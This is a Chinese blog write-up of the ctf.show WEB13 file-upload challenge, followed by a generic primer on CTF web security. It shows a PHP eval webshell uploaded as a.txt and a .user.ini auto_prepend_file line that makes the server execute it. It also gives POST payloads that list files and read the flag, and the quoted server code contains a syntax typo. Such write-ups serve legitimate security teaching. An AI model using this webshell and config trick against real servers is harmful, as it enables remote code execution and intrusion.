CTF show WEB13

本文介绍了一个CTF挑战中的文件上传题目,通过源码泄露找到上传脚本的限制条件,利用特殊的文件上传技巧绕过后缀和大小限制,最终通过.user.ini配置实现文件包含攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目地址:http://ctf.show

进入题目是个文件上传的题目,尝试了一番文件上传漏洞利用的方法后,没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码。
.bak文件是备份文件。
这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页
在web题没有头绪的时候可以尝试可能会有奇效。
源码如下:

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

我们发现了上传文件的要求,文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然小于等于24可以这样写<?php eval($_POST['a']);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为a.txt。
2.上传a.txt
3上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容、
4.菜刀连接
菜刀连接上之后我们发现没有对文件操作的权限,所以我们直接在网页上查找flag。
a=print_r(glob("*"));
在这里插入图片描述
接着输入 a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php ");
在这里插入图片描述

### 关于CTF Web安全入门的相关知识 #### 什么是CTF中的Web安全? CTF(Capture The Flag)是一种网络安全竞赛形式,其中Web安全是一个重要的组成部分。它主要涉及对Web应用程序的安全测试和技术挑战。通过解决这些题目,参赛者可以学习到多种攻击技术以及防御措施。 #### 常见的CTF Web安全题型 在CTF比赛中,Web安全题目通常涵盖了多个方面,包括但不限于SQL注入、跨站脚本攻击(XSS)、文件包含漏洞、命令执行等[^1]。每种类型的题目都有其特定的技术背景和解决方案。 #### XSS攻击及其变体 XSS(Cross-Site Scripting),即跨站脚本攻击,是CTF中非常常见的一类问题。这种攻击允许恶意用户将代码嵌入其他用户的浏览器页面上运行。根据实现方式的不同,XSS分为存储型、反射型和DOM-based三种类型[^2]。对于此类题目,选手需要掌握如何构造有效的payload并绕过可能存在的防护机制。 #### 编码技巧的重要性 除了直接面对逻辑错误外,编码也是解决问题过程中不可忽视的一部分。例如ASCII编码、URL编码、HTML实体编码等多种转换手段经常被用来隐藏或者修改数据表现形式从而达到欺骗服务器的目的[^3]。理解它们的工作原理有助于更好地分析潜在漏洞所在之处。 #### HTTP请求处理 另一个重要概念就是正确理解和操作HTTP协议下的GET与POST方法的区别及应用场合。简单来说, GET主要用于获取资源而不会改变状态; POST则用于提交表单或者其他需引起副作用的操作[^4]. 掌握这两者的差异可以帮助我们更精准地定位某些基于参数传递而导致的功能异常点. ```python import requests url = 'http://example.com/login' data = {'username': 'admin', 'password': 'password'} response = requests.post(url, data=data) print(response.text) ``` 上述示例展示了如何利用Python库`requests`发起一次简单的POST请求登录尝试。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值